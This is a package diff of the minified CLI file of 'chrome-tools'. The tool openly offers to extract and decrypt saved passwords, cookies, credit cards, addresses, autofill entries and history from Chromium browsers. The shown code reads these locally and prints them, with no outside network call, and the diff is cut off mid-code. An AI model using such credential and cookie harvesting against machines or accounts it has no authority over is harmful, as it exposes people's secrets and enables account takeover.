chrome-tools 1.1.4 → 1.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/bin/cli.js +1 -1
- package/dist/src/core/keychain.d.ts +10 -0
- package/dist/src/core/keychain.js +1 -1
- package/dist/src/core/platform/linux.js +1 -1
- package/dist/src/index.d.ts +1 -1
- package/dist/src/index.js +1 -1
- package/dist/src/modules/autofill.d.ts +2 -1
- package/dist/src/modules/autofill.js +1 -1
- package/dist/src/modules/cookies.d.ts +2 -1
- package/dist/src/modules/cookies.js +1 -1
- package/dist/src/modules/passwords.d.ts +9 -2
- package/dist/src/modules/passwords.js +1 -1
- package/package.json +1 -1
package/dist/bin/cli.js
CHANGED
|
@@ -1,2 +1,2 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
|
-
import{readFileSync as o,existsSync as e}from"node:fs";import{join as r}from"node:path";import{Command as t}from"commander";import s from"chalk";import i from"cli-table3";import{discoverProfiles as n,getProfileMetadata as l,getProfileStates as a,getDirectorySize as c,detectInstalledBrowsers as d}from"../src/core/chrome.js";import{setActiveBrowser as m,getActiveBrowser as p,isKeychainAccessDenied as f}from"../src/core/platform/index.js";import{getPasswords as h}from"../src/modules/passwords.js";import{getBookmarks as u}from"../src/modules/bookmarks.js";import{getHistory as g,getSearchTerms as w}from"../src/modules/history.js";import{getCookies as b}from"../src/modules/cookies.js";import{getLocalStorage as y}from"../src/modules/local-storage.js";import{getAutofillEntries as S,getCreditCards as v,getAddresses as k}from"../src/modules/autofill.js";import{getDownloads as L}from"../src/modules/downloads.js";import{getExtensions as P}from"../src/modules/extensions.js";import{getSearchEngines as D}from"../src/modules/search-engines.js";import{getTopSites as j}from"../src/modules/top-sites.js";const N=function(){const t={...process.env},s=r(process.cwd(),".env");if(e(s))try{const e=o(s,"utf8");for(const o of e.split(/\r?\n/)){const e=o.trim();if(!e||e.startsWith("#"))continue;const r=e.indexOf("=");if(-1!==r){const o=e.substring(0,r).trim();let s=e.substring(r+1).trim();(s.startsWith('"')&&s.endsWith('"')||s.startsWith("'")&&s.endsWith("'"))&&(s=s.slice(1,-1)),t[o]=s}}}catch{}return t}(),B=N.PROFILE_PATH||void 0,C=N.PROFILE_NAME||void 0,R=N.BROWSER||N.CHROME_BROWSER||void 0;function U(o){console.log(JSON.stringify(o,null,2))}function $(o,e){return new i({head:o.map(o=>s.bold.white(o)),colWidths:e,wordWrap:!0,style:{border:["grey"],head:[]}})}function O(o,e){0===e?console.log(s.yellow(`\n⚠ No ${o} found.\n`)):console.log(s.green(`\n✔ Found ${e} ${o}.\n`))}let E=null;function x(o,e){return E?(E.push({browser:p().name,results:e}),!0):!!o.json&&(U(e),!0)}function F(o){const e=o.optsWithGlobals(),r=Boolean(e.browser)||Boolean(e.allBrowsers)||Boolean(R);return e.browser=e.browser||R||void 0,e.profilePath||(e.profilePath=r?void 0:B),e.profile||(e.profile=r?void 0:C),e}function W(o,e){e.allBrowsers?function(o,e){const r=d();if(0===r.length)return e.json?U([]):void console.log(s.yellow("\n⚠ No supported Chromium browsers found on this machine.\n"));const t={...e,profilePath:void 0};if(e.json){E=[];try{for(const e of r){m(e.browser.id);try{o(t)}catch(o){E.push({browser:e.browser.name,results:{error:o?.message??String(o)}})}}U(E)}finally{E=null}}else for(const e of r){m(e.browser.id),console.log(s.bold.magenta(`\n══════════ ${e.browser.name} ══════════`));try{o(t)}catch(o){f(o)?(console.log(s.red(` 🔑 No keychain access — skipped (${o.service}).`)),console.log(s.dim(` ${o.message.split("\n").join("\n ")}`))):console.log(s.red(` ⚠ Skipped: ${o?.message??String(o)}`))}}}(o,e):(m(e.browser),o(e))}function I(o){const e=d({includeMissing:!0});if(o.json)return U(e.map(o=>({id:o.browser.id,name:o.browser.name,installed:o.installed,profileCount:o.profileCount,path:o.chromeDir,safeStorageLabel:o.browser.safeStorageLabel})));const r=e.filter(o=>o.installed);console.log(s.bold(`\n🌐 Supported browsers (${r.length} installed):\n`));const t=$(["Browser","Id","Installed","Profiles","Path"],[20,14,11,9,50]);for(const o of e)t.push([s.white(o.browser.name),s.cyan(o.browser.id),o.installed?s.green("✓"):s.dim("✗"),o.installed?s.yellow(String(o.profileCount)):s.dim("—"),s.dim(o.chromeDir)]);console.log(t.toString())}function M(o){return o.option("--profile-path <path>","Custom browser User Data Path (overrides --browser)").option("--profile <name>","Target a specific profile").option("--browser <name>","Browser to read (chrome, edge, brave, comet, vivaldi, opera, chromium…)").option("--all-browsers","Read from every installed Chromium browser").option("--json","Output as JSON")}function T(o){return o.option("--search <term>","Filter results (case-insensitive)")}function A(o,e=100){return o.option("--limit <n>","Limit number of results",String(e))}const z=new t,V=JSON.parse(o(new URL("../../package.json",import.meta.url),"utf8"));z.name("chrome-tools").description(s.bold.cyan("Chrome Data Toolkit")+s.dim(" — Extract passwords, bookmarks, history, cookies, and more from Chrome on macOS, Windows, and Linux")).version(V.version).option("--passwords","Shortcut: list saved passwords").option("--bookmarks","Shortcut: list bookmarks").option("--local-storage","Shortcut: list localStorage entries").option("--profiles","Shortcut: list profiles").option("--browsers","Shortcut: list supported / installed browsers").option("--size","Show each profile's size on disk when listing profiles (slower)").option("--profile-path <path>","Custom browser User Data Path (overrides --browser)").option("--profile <name>","Target a specific profile").option("--browser <name>","Browser to read (chrome, edge, brave, comet, vivaldi, opera, chromium…)").option("--all-browsers","Read from every installed Chromium browser").option("--json","Output as JSON").option("--search <term>","Filter results (for shortcut flags)").option("--limit <n>","Limit results (for shortcut flags)").action((o,e)=>{const r=F(e);r.browsers?I(r):r.passwords?W(G,r):r.bookmarks?W(_,r):r.localStorage?W(Y,r):W(H,r)});const J=z.command("profiles").description("List Chrome profiles");M(J).option("--size","Compute and show each profile's size on disk (slower)").action((o,e)=>{W(H,F(e))});M(J.command("states").description("Show detailed profile states with available data files")).action((o,e)=>W(K,F(e)));function H(o){const e=n(o.profilePath),r=l(o.profilePath),t=Boolean(o.size);if(o.json){const s=new Map(r.map(o=>[o.directory,o]));return void x(o,e.map(o=>({...o,...s.get(o.name)||{},...t?{sizeBytes:c(o.path)}:{}})))}if(0===e.length)return void console.log(s.yellow("\n⚠ No Chrome profiles found.\n"));const i=new Map(r.map(o=>[o.directory,o]));console.log(s.bold(`\n📁 Discovered ${e.length} profile(s):\n`));const a=$(t?["Directory","Display Name","Email","Size","Path"]:["Directory","Display Name","Email","Path"],t?[16,22,30,10,42]:[16,22,30,50]);for(const o of e){const e=i.get(o.name)||{},r=[s.cyan(o.name),s.white(e.name||o.name),s.dim(e.email||"—")];t&&r.push(s.yellow(Z(c(o.path)))),r.push(s.dim(o.path)),a.push(r)}console.log(a.toString()),O("profile(s)",e.length)}function K(o){const e=a(o.profilePath);if(o.json)x(o,e);else if(0!==e.length){console.log(s.bold(`\n📊 Profile States (${e.length} profile(s)):\n`));for(const o of e){console.log(s.bold.cyan(` ${o.displayName}`)+s.dim(` (${o.directory})`)),o.email&&console.log(s.dim(` Email: ${o.email}`)),console.log(s.dim(` Path: ${o.path}`));const e=o.dataFiles,r=Object.entries(e).filter(([,o])=>o).map(([o])=>o),t=Object.entries(e).filter(([,o])=>!o).map(([o])=>o);console.log(` Available: ${r.map(o=>s.green(o)).join(", ")||s.dim("none")}`),t.length>0&&console.log(` Missing: ${t.map(o=>s.dim(o)).join(", ")}`),console.log()}}else console.log(s.yellow("\n⚠ No Chrome profiles found.\n"))}z.command("browsers").description("List supported browsers and detect which are installed").option("--json","Output as JSON").action((o,e)=>I(F(e)));function G(o){const e=h({chromeDir:o.profilePath,profile:o.profile,search:o.search});if(x(o,e))return;if(0===e.length)return O("passwords",0);console.log(s.bold("\n🔑 Saved Passwords:\n"));const r=new Set(e.map(o=>o.profile)).size>1,t=$(r?["Profile","URL","Username","Password","Last Used"]:["URL","Username","Password","Last Used"],r?[12,40,24,22,20]:[45,28,25,22]);for(const o of e){const e=[s.cyan(o.url),s.green(o.username||"<empty>"),s.yellow(o.password||"<empty>"),s.dim(o.lastUsed)];r&&e.unshift(s.magenta(o.profile)),t.push(e)}console.log(t.toString()),O("password(s)",e.length)}T(M(z.command("passwords").description("List saved passwords"))).action((o,e)=>W(G,F(e)));function _(o){const e=u({chromeDir:o.profilePath,profile:o.profile,folder:o.folder,search:o.search});if(x(o,e))return;if(0===e.length)return O("bookmarks",0);console.log(s.bold("\n📚 Bookmarks:\n"));const r=$(["Title","URL","Folder","Date Added"],[30,50,25,20]);for(const o of e)r.push([s.white(o.title),s.cyan(o.url),s.dim(o.folder||"/"),s.dim(o.dateAdded)]);console.log(r.toString()),O("bookmark(s)",e.length)}T(M(z.command("bookmarks").description("List bookmarks"))).option("--folder <name>","Filter by folder name").action((o,e)=>W(_,F(e)));T(A(M(z.command("history").description("List browsing history")))).action((o,e)=>W(o=>{const e=g({chromeDir:o.profilePath,profile:o.profile,search:o.search,limit:parseInt(o.limit,10)||100});if(x(o,e))return;if(0===e.length)return O("history entries",0);console.log(s.bold("\n🕐 Browsing History:\n"));const r=$(["URL","Title","Visits","Last Visit"],[50,30,8,22]);for(const o of e)r.push([s.cyan(o.url),s.white(o.title||"—"),s.yellow(String(o.visitCount)),s.dim(o.lastVisit)]);console.log(r.toString()),O("history entry(ies)",e.length)},F(e)));A(M(z.command("search-terms").description("List search terms from history"))).action((o,e)=>W(o=>{const e=w({chromeDir:o.profilePath,profile:o.profile,limit:parseInt(o.limit,10)||100});if(x(o,e))return;if(0===e.length)return O("search terms",0);console.log(s.bold("\n🔍 Search Terms:\n"));const r=$(["Term","URL"],[40,80]);for(const o of e)r.push([s.white(o.term),s.dim(o.url)]);console.log(r.toString()),O("search term(s)",e.length)},F(e)));A(M(z.command("cookies").description("List cookies (encrypted values decrypted)"))).option("--domain <domain>","Filter by domain").option("--url <url>","Filter by URL with path").option("--no-decrypt","Skip decryption of encrypted values").action((o,e)=>W(o=>{const e=b({chromeDir:o.profilePath,profile:o.profile,domain:o.domain,url:o.url,decrypt:!1!==o.decrypt,limit:parseInt(o.limit,10)||100});if(x(o,e))return;if(0===e.length)return O("cookies",0);console.log(s.bold("\n🍪 Cookies:\n"));const r=$(["Domain","Name","Value","Secure","Expires"],[30,25,30,8,22]);for(const o of e)r.push([s.cyan(o.domain),s.white(o.name),s.dim(o.value?o.value.substring(0,50)+(o.value.length>50?"…":""):"—"),o.secure?s.green("✓"):s.dim("✗"),s.dim(o.expires)]);console.log(r.toString()),O("cookie(s)",e.length)},F(e)));function Y(o){const e=y({chromeDir:o.profilePath,profile:o.profile,origin:o.origin,url:o.url,key:o.key,search:o.search,limit:parseInt(o.limit,10)||100});if(x(o,e))return;if(0===e.length)return O("localStorage entries",0);console.log(s.bold("\n💾 localStorage:\n"));const r=$(["Origin","Key","Value"],[36,28,46]);for(const o of e)r.push([s.cyan(o.origin),s.white(o.key),s.dim(o.value?o.value.substring(0,80)+(o.value.length>80?"…":""):"—")]);console.log(r.toString()),O("localStorage entries",e.length)}T(A(M(z.command("local-storage").description("List localStorage entries")))).option("--origin <origin>","Filter by origin").option("--url <url>","Filter by URL origin").option("--key <key>","Filter by localStorage key").action((o,e)=>W(Y,F(e)));T(A(M(z.command("autofill").description("List autofill entries")))).action((o,e)=>W(o=>{const e=S({chromeDir:o.profilePath,profile:o.profile,search:o.search,limit:parseInt(o.limit,10)||100});if(x(o,e))return;if(0===e.length)return O("autofill entries",0);console.log(s.bold("\n📝 Autofill Entries:\n"));const r=$(["Field Name","Value","Count","Last Used"],[25,40,8,22]);for(const o of e)r.push([s.cyan(o.name),s.white(o.value),s.yellow(String(o.count)),s.dim(o.dateLastUsed)]);console.log(r.toString()),O("autofill entry(ies)",e.length)},F(e)));M(z.command("credit-cards").description("List saved credit cards")).action((o,e)=>W(o=>{const e=v({chromeDir:o.profilePath,profile:o.profile});if(x(o,e))return;if(0===e.length)return O("credit cards",0);console.log(s.bold("\n💳 Saved Credit Cards:\n"));const r=$(["Name on Card","Card Number","Expires","Nickname"],[25,25,14,20]);for(const o of e)r.push([s.white(o.nameOnCard||"—"),s.yellow(o.cardNumber||"—"),s.dim(`${o.expirationMonth}/${o.expirationYear}`),s.dim(o.nickname||"—")]);console.log(r.toString()),O("credit card(s)",e.length)},F(e)));M(z.command("addresses").description("List saved addresses")).action((o,e)=>W(o=>{const e=k({chromeDir:o.profilePath,profile:o.profile});if(x(o,e))return;if(0===e.length)return O("addresses",0);console.log(s.bold("\n🏠 Saved Addresses:\n"));const r=$(["Name","Email","Phone","Address","City/State/Zip"],[20,25,16,30,25]);for(const o of e)r.push([s.white(o.fullName||"—"),s.cyan(o.email||"—"),s.dim(o.phone||"—"),s.white(o.streetAddress||"—"),s.dim([o.city,o.state,o.zipcode].filter(Boolean).join(", ")||"—")]);console.log(r.toString()),O("address(es)",e.length)},F(e)));T(A(M(z.command("downloads").description("List download history")))).action((o,e)=>W(o=>{const e=L({chromeDir:o.profilePath,profile:o.profile,search:o.search,limit:parseInt(o.limit,10)||100});if(x(o,e))return;if(0===e.length)return O("downloads",0);console.log(s.bold("\n⬇️ Download History:\n"));const r=$(["File","URL","Size","State","Date"],[35,40,12,12,20]);for(const o of e){const e=o.targetPath?o.targetPath.split("/").pop():"—",t=o.totalBytes>0?Z(o.totalBytes):"—";r.push([s.white(e||""),s.cyan(o.url?o.url.substring(0,60):"—"),s.dim(t),"complete"===o.state?s.green(o.state):s.yellow(o.state),s.dim(o.startTime)])}console.log(r.toString()),O("download(s)",e.length)},F(e)));T(M(z.command("extensions").description("List installed extensions"))).action((o,e)=>W(o=>{const e=P({chromeDir:o.profilePath,profile:o.profile,search:o.search});if(x(o,e))return;if(0===e.length)return O("extensions",0);console.log(s.bold("\n🧩 Installed Extensions:\n"));const r=$(["Name","Version","ID","Enabled","Webstore"],[30,12,36,9,9]);for(const o of e)r.push([s.white(o.name),s.dim(o.version),s.dim(o.id),o.enabled?s.green("✓"):s.red("✗"),o.fromWebstore?s.green("✓"):s.dim("✗")]);console.log(r.toString()),O("extension(s)",e.length)},F(e)));M(z.command("search-engines").description("List configured search engines")).action((o,e)=>W(o=>{const e=D({chromeDir:o.profilePath,profile:o.profile});if(x(o,e))return;if(0===e.length)return O("search engines",0);console.log(s.bold("\n🔎 Search Engines:\n"));const r=$(["Name","Keyword","URL","Active"],[20,16,60,8]);for(const o of e)r.push([s.white(o.name),s.cyan(o.keyword),s.dim(o.url?o.url.substring(0,80):"—"),o.isActive?s.green("✓"):s.dim("✗")]);console.log(r.toString()),O("search engine(s)",e.length)},F(e)));function Z(o){if(0===o)return"0 B";const e=Math.floor(Math.log(o)/Math.log(1024));return`${(o/Math.pow(1024,e)).toFixed(1)} ${["B","KB","MB","GB","TB"][e]}`}M(z.command("top-sites").description("List top sites")).action((o,e)=>W(o=>{const e=j({chromeDir:o.profilePath,profile:o.profile});if(x(o,e))return;if(0===e.length)return O("top sites",0);console.log(s.bold("\n⭐ Top Sites:\n"));const r=$(["Rank","Title","URL"],[8,30,80]);for(const o of e)r.push([s.yellow(String(o.rank+1)),s.white(o.title||"—"),s.cyan(o.url)]);console.log(r.toString()),O("top site(s)",e.length)},F(e)));try{z.parse()}catch(o){(function(o){return!!f(o)&&(console.error(s.red.bold("\n🔑 No keychain access\n")),console.error(s.yellow("chrome-tools couldn't read the browser's encryption key from your macOS\nKeychain, so passwords and other encrypted data can't be decrypted.")),console.error(s.dim("\n"+o.message+"\n")),!0)})(o)||console.error(s.red(`\n✖ ${o?.message??String(o)}\n`)),process.env.DEBUG&&console.error(o),process.exit(1)}
|
|
2
|
+
import{readFileSync as o,existsSync as e}from"node:fs";import{join as r}from"node:path";import{Command as t}from"commander";import s from"chalk";import i from"cli-table3";import{discoverProfiles as n,getProfileMetadata as l,getProfileStates as a,getDirectorySize as c,detectInstalledBrowsers as d}from"../src/core/chrome.js";import{setActiveBrowser as m,getActiveBrowser as p,isKeychainAccessDenied as f}from"../src/core/platform/index.js";import{getPasswords as h}from"../src/modules/passwords.js";import{getBookmarks as u}from"../src/modules/bookmarks.js";import{getHistory as g,getSearchTerms as w}from"../src/modules/history.js";import{getCookies as b}from"../src/modules/cookies.js";import{getLocalStorage as y}from"../src/modules/local-storage.js";import{getAutofillEntries as S,getCreditCards as v,getAddresses as k}from"../src/modules/autofill.js";import{getDownloads as L}from"../src/modules/downloads.js";import{getExtensions as P}from"../src/modules/extensions.js";import{getSearchEngines as D}from"../src/modules/search-engines.js";import{getTopSites as j}from"../src/modules/top-sites.js";const N=function(){const t={...process.env},s=r(process.cwd(),".env");if(e(s))try{const e=o(s,"utf8");for(const o of e.split(/\r?\n/)){const e=o.trim();if(!e||e.startsWith("#"))continue;const r=e.indexOf("=");if(-1!==r){const o=e.substring(0,r).trim();let s=e.substring(r+1).trim();(s.startsWith('"')&&s.endsWith('"')||s.startsWith("'")&&s.endsWith("'"))&&(s=s.slice(1,-1)),t[o]=s}}}catch{}return t}(),B=N.PROFILE_PATH||void 0,C=N.PROFILE_NAME||void 0,$=N.BROWSER||N.CHROME_BROWSER||void 0;function O(o){console.log(JSON.stringify(o,null,2))}function R(o,e){return new i({head:o.map(o=>s.bold.white(o)),colWidths:e,wordWrap:!0,style:{border:["grey"],head:[]}})}function E(o,e){0===e?console.log(s.yellow(`\n⚠ No ${o} found.\n`)):console.log(s.green(`\n✔ Found ${e} ${o}.\n`))}let U=null;function x(o,e){return U?(U.push({browser:p().name,results:e}),!0):!!o.json&&(O(e),!0)}function F(o){const e=o.optsWithGlobals(),r=Boolean(e.browser)||Boolean(e.allBrowsers)||Boolean($);return e.browser=e.browser||$||void 0,e.profilePath||(e.profilePath=r?void 0:B),e.profile||(e.profile=r?void 0:C),e}function W(o,e){e.allBrowsers?function(o,e){const r=d();if(0===r.length)return e.json?O([]):void console.log(s.yellow("\n⚠ No supported Chromium browsers found on this machine.\n"));const t={...e,profilePath:void 0};if(e.json){U=[];try{for(const e of r){m(e.browser.id);try{o(t)}catch(o){U.push({browser:e.browser.name,results:{error:o?.message??String(o)}})}}O(U)}finally{U=null}}else for(const e of r){m(e.browser.id),console.log(s.bold.magenta(`\n══════════ ${e.browser.name} ══════════`));try{o(t)}catch(o){f(o)?(console.log(s.red(` 🔑 No keychain access — skipped (${o.service}).`)),console.log(s.dim(` ${o.message.split("\n").join("\n ")}`))):console.log(s.red(` ⚠ Skipped: ${o?.message??String(o)}`))}}}(o,e):(m(e.browser),o(e))}function I(o){const e=d({includeMissing:!0});if(o.json)return O(e.map(o=>({id:o.browser.id,name:o.browser.name,installed:o.installed,profileCount:o.profileCount,path:o.chromeDir,safeStorageLabel:o.browser.safeStorageLabel})));const r=e.filter(o=>o.installed);console.log(s.bold(`\n🌐 Supported browsers (${r.length} installed):\n`));const t=R(["Browser","Id","Installed","Profiles","Path"],[20,14,11,9,50]);for(const o of e)t.push([s.white(o.browser.name),s.cyan(o.browser.id),o.installed?s.green("✓"):s.dim("✗"),o.installed?s.yellow(String(o.profileCount)):s.dim("—"),s.dim(o.chromeDir)]);console.log(t.toString())}function M(o){return o.option("--profile-path <path>","Custom browser User Data Path (overrides --browser)").option("--profile <name>","Target a specific profile").option("--browser <name>","Browser to read (chrome, edge, brave, comet, vivaldi, opera, chromium…)").option("--all-browsers","Read from every installed Chromium browser").option("--json","Output as JSON")}function T(o){return o.option("--search <term>","Filter results (case-insensitive)")}function A(o,e=100){return o.option("--limit <n>","Limit number of results",String(e))}const z=new t,V=JSON.parse(o(new URL("../../package.json",import.meta.url),"utf8"));z.name("chrome-tools").description(s.bold.cyan("Chrome Data Toolkit")+s.dim(" — Extract passwords, bookmarks, history, cookies, and more from Chrome on macOS, Windows, and Linux")).version(V.version).option("--passwords","Shortcut: list saved passwords").option("--bookmarks","Shortcut: list bookmarks").option("--local-storage","Shortcut: list localStorage entries").option("--profiles","Shortcut: list profiles").option("--browsers","Shortcut: list supported / installed browsers").option("--size","Show each profile's size on disk when listing profiles (slower)").option("--profile-path <path>","Custom browser User Data Path (overrides --browser)").option("--profile <name>","Target a specific profile").option("--browser <name>","Browser to read (chrome, edge, brave, comet, vivaldi, opera, chromium…)").option("--all-browsers","Read from every installed Chromium browser").option("--json","Output as JSON").option("--search <term>","Filter results (for shortcut flags)").option("--limit <n>","Limit results (for shortcut flags)").action((o,e)=>{const r=F(e);r.browsers?I(r):r.passwords?W(G,r):r.bookmarks?W(_,r):r.localStorage?W(Y,r):W(H,r)});const J=z.command("profiles").description("List Chrome profiles");M(J).option("--size","Compute and show each profile's size on disk (slower)").action((o,e)=>{W(H,F(e))});M(J.command("states").description("Show detailed profile states with available data files")).action((o,e)=>W(K,F(e)));function H(o){const e=n(o.profilePath),r=l(o.profilePath),t=Boolean(o.size);if(o.json){const s=new Map(r.map(o=>[o.directory,o]));return void x(o,e.map(o=>({...o,...s.get(o.name)||{},...t?{sizeBytes:c(o.path)}:{}})))}if(0===e.length)return void console.log(s.yellow("\n⚠ No Chrome profiles found.\n"));const i=new Map(r.map(o=>[o.directory,o]));console.log(s.bold(`\n📁 Discovered ${e.length} profile(s):\n`));const a=R(t?["Directory","Display Name","Email","Size","Path"]:["Directory","Display Name","Email","Path"],t?[16,22,30,10,42]:[16,22,30,50]);for(const o of e){const e=i.get(o.name)||{},r=[s.cyan(o.name),s.white(e.name||o.name),s.dim(e.email||"—")];t&&r.push(s.yellow(Z(c(o.path)))),r.push(s.dim(o.path)),a.push(r)}console.log(a.toString()),E("profile(s)",e.length)}function K(o){const e=a(o.profilePath);if(o.json)x(o,e);else if(0!==e.length){console.log(s.bold(`\n📊 Profile States (${e.length} profile(s)):\n`));for(const o of e){console.log(s.bold.cyan(` ${o.displayName}`)+s.dim(` (${o.directory})`)),o.email&&console.log(s.dim(` Email: ${o.email}`)),console.log(s.dim(` Path: ${o.path}`));const e=o.dataFiles,r=Object.entries(e).filter(([,o])=>o).map(([o])=>o),t=Object.entries(e).filter(([,o])=>!o).map(([o])=>o);console.log(` Available: ${r.map(o=>s.green(o)).join(", ")||s.dim("none")}`),t.length>0&&console.log(` Missing: ${t.map(o=>s.dim(o)).join(", ")}`),console.log()}}else console.log(s.yellow("\n⚠ No Chrome profiles found.\n"))}z.command("browsers").description("List supported browsers and detect which are installed").option("--json","Output as JSON").action((o,e)=>I(F(e)));function G(o){const e=h({chromeDir:o.profilePath,profile:o.profile,search:o.search});if(x(o,e))return;if(0===e.length)return E("passwords",0);console.log(s.bold("\n🔑 Saved Passwords:\n"));const r=new Set(e.map(o=>o.profile)).size>1,t=["Source","URL","Username","Password","Last Used"],i=[9,42,24,22,20];r&&(t.unshift("Profile"),i.unshift(12));const n=R(t,i);for(const o of e){const e=[s.blue(o.source??"?"),s.cyan(o.url),s.green(o.username||"<empty>"),s.yellow(o.password||"<empty>"),s.dim(o.lastUsed)];r&&e.unshift(s.magenta(o.profile)),n.push(e)}console.log(n.toString()),E("password(s)",e.length)}T(M(z.command("passwords").description("List saved passwords"))).action((o,e)=>W(G,F(e)));function _(o){const e=u({chromeDir:o.profilePath,profile:o.profile,folder:o.folder,search:o.search});if(x(o,e))return;if(0===e.length)return E("bookmarks",0);console.log(s.bold("\n📚 Bookmarks:\n"));const r=R(["Title","URL","Folder","Date Added"],[30,50,25,20]);for(const o of e)r.push([s.white(o.title),s.cyan(o.url),s.dim(o.folder||"/"),s.dim(o.dateAdded)]);console.log(r.toString()),E("bookmark(s)",e.length)}T(M(z.command("bookmarks").description("List bookmarks"))).option("--folder <name>","Filter by folder name").action((o,e)=>W(_,F(e)));T(A(M(z.command("history").description("List browsing history")))).action((o,e)=>W(o=>{const e=g({chromeDir:o.profilePath,profile:o.profile,search:o.search,limit:parseInt(o.limit,10)||100});if(x(o,e))return;if(0===e.length)return E("history entries",0);console.log(s.bold("\n🕐 Browsing History:\n"));const r=R(["URL","Title","Visits","Last Visit"],[50,30,8,22]);for(const o of e)r.push([s.cyan(o.url),s.white(o.title||"—"),s.yellow(String(o.visitCount)),s.dim(o.lastVisit)]);console.log(r.toString()),E("history entry(ies)",e.length)},F(e)));A(M(z.command("search-terms").description("List search terms from history"))).action((o,e)=>W(o=>{const e=w({chromeDir:o.profilePath,profile:o.profile,limit:parseInt(o.limit,10)||100});if(x(o,e))return;if(0===e.length)return E("search terms",0);console.log(s.bold("\n🔍 Search Terms:\n"));const r=R(["Term","URL"],[40,80]);for(const o of e)r.push([s.white(o.term),s.dim(o.url)]);console.log(r.toString()),E("search term(s)",e.length)},F(e)));A(M(z.command("cookies").description("List cookies (encrypted values decrypted)"))).option("--domain <domain>","Filter by domain").option("--url <url>","Filter by URL with path").option("--no-decrypt","Skip decryption of encrypted values").action((o,e)=>W(o=>{const e=b({chromeDir:o.profilePath,profile:o.profile,domain:o.domain,url:o.url,decrypt:!1!==o.decrypt,limit:parseInt(o.limit,10)||100});if(x(o,e))return;if(0===e.length)return E("cookies",0);console.log(s.bold("\n🍪 Cookies:\n"));const r=R(["Domain","Name","Value","Secure","Expires"],[30,25,30,8,22]);for(const o of e)r.push([s.cyan(o.domain),s.white(o.name),s.dim(o.value?o.value.substring(0,50)+(o.value.length>50?"…":""):"—"),o.secure?s.green("✓"):s.dim("✗"),s.dim(o.expires)]);console.log(r.toString()),E("cookie(s)",e.length)},F(e)));function Y(o){const e=y({chromeDir:o.profilePath,profile:o.profile,origin:o.origin,url:o.url,key:o.key,search:o.search,limit:parseInt(o.limit,10)||100});if(x(o,e))return;if(0===e.length)return E("localStorage entries",0);console.log(s.bold("\n💾 localStorage:\n"));const r=R(["Origin","Key","Value"],[36,28,46]);for(const o of e)r.push([s.cyan(o.origin),s.white(o.key),s.dim(o.value?o.value.substring(0,80)+(o.value.length>80?"…":""):"—")]);console.log(r.toString()),E("localStorage entries",e.length)}T(A(M(z.command("local-storage").description("List localStorage entries")))).option("--origin <origin>","Filter by origin").option("--url <url>","Filter by URL origin").option("--key <key>","Filter by localStorage key").action((o,e)=>W(Y,F(e)));T(A(M(z.command("autofill").description("List autofill entries")))).action((o,e)=>W(o=>{const e=S({chromeDir:o.profilePath,profile:o.profile,search:o.search,limit:parseInt(o.limit,10)||100});if(x(o,e))return;if(0===e.length)return E("autofill entries",0);console.log(s.bold("\n📝 Autofill Entries:\n"));const r=R(["Field Name","Value","Count","Last Used"],[25,40,8,22]);for(const o of e)r.push([s.cyan(o.name),s.white(o.value),s.yellow(String(o.count)),s.dim(o.dateLastUsed)]);console.log(r.toString()),E("autofill entry(ies)",e.length)},F(e)));M(z.command("credit-cards").description("List saved credit cards")).action((o,e)=>W(o=>{const e=v({chromeDir:o.profilePath,profile:o.profile});if(x(o,e))return;if(0===e.length)return E("credit cards",0);console.log(s.bold("\n💳 Saved Credit Cards:\n"));const r=R(["Name on Card","Card Number","Expires","Nickname"],[25,25,14,20]);for(const o of e)r.push([s.white(o.nameOnCard||"—"),s.yellow(o.cardNumber||"—"),s.dim(`${o.expirationMonth}/${o.expirationYear}`),s.dim(o.nickname||"—")]);console.log(r.toString()),E("credit card(s)",e.length)},F(e)));M(z.command("addresses").description("List saved addresses")).action((o,e)=>W(o=>{const e=k({chromeDir:o.profilePath,profile:o.profile});if(x(o,e))return;if(0===e.length)return E("addresses",0);console.log(s.bold("\n🏠 Saved Addresses:\n"));const r=R(["Name","Email","Phone","Address","City/State/Zip"],[20,25,16,30,25]);for(const o of e)r.push([s.white(o.fullName||"—"),s.cyan(o.email||"—"),s.dim(o.phone||"—"),s.white(o.streetAddress||"—"),s.dim([o.city,o.state,o.zipcode].filter(Boolean).join(", ")||"—")]);console.log(r.toString()),E("address(es)",e.length)},F(e)));T(A(M(z.command("downloads").description("List download history")))).action((o,e)=>W(o=>{const e=L({chromeDir:o.profilePath,profile:o.profile,search:o.search,limit:parseInt(o.limit,10)||100});if(x(o,e))return;if(0===e.length)return E("downloads",0);console.log(s.bold("\n⬇️ Download History:\n"));const r=R(["File","URL","Size","State","Date"],[35,40,12,12,20]);for(const o of e){const e=o.targetPath?o.targetPath.split("/").pop():"—",t=o.totalBytes>0?Z(o.totalBytes):"—";r.push([s.white(e||""),s.cyan(o.url?o.url.substring(0,60):"—"),s.dim(t),"complete"===o.state?s.green(o.state):s.yellow(o.state),s.dim(o.startTime)])}console.log(r.toString()),E("download(s)",e.length)},F(e)));T(M(z.command("extensions").description("List installed extensions"))).action((o,e)=>W(o=>{const e=P({chromeDir:o.profilePath,profile:o.profile,search:o.search});if(x(o,e))return;if(0===e.length)return E("extensions",0);console.log(s.bold("\n🧩 Installed Extensions:\n"));const r=R(["Name","Version","ID","Enabled","Webstore"],[30,12,36,9,9]);for(const o of e)r.push([s.white(o.name),s.dim(o.version),s.dim(o.id),o.enabled?s.green("✓"):s.red("✗"),o.fromWebstore?s.green("✓"):s.dim("✗")]);console.log(r.toString()),E("extension(s)",e.length)},F(e)));M(z.command("search-engines").description("List configured search engines")).action((o,e)=>W(o=>{const e=D({chromeDir:o.profilePath,profile:o.profile});if(x(o,e))return;if(0===e.length)return E("search engines",0);console.log(s.bold("\n🔎 Search Engines:\n"));const r=R(["Name","Keyword","URL","Active"],[20,16,60,8]);for(const o of e)r.push([s.white(o.name),s.cyan(o.keyword),s.dim(o.url?o.url.substring(0,80):"—"),o.isActive?s.green("✓"):s.dim("✗")]);console.log(r.toString()),E("search engine(s)",e.length)},F(e)));function Z(o){if(0===o)return"0 B";const e=Math.floor(Math.log(o)/Math.log(1024));return`${(o/Math.pow(1024,e)).toFixed(1)} ${["B","KB","MB","GB","TB"][e]}`}M(z.command("top-sites").description("List top sites")).action((o,e)=>W(o=>{const e=j({chromeDir:o.profilePath,profile:o.profile});if(x(o,e))return;if(0===e.length)return E("top sites",0);console.log(s.bold("\n⭐ Top Sites:\n"));const 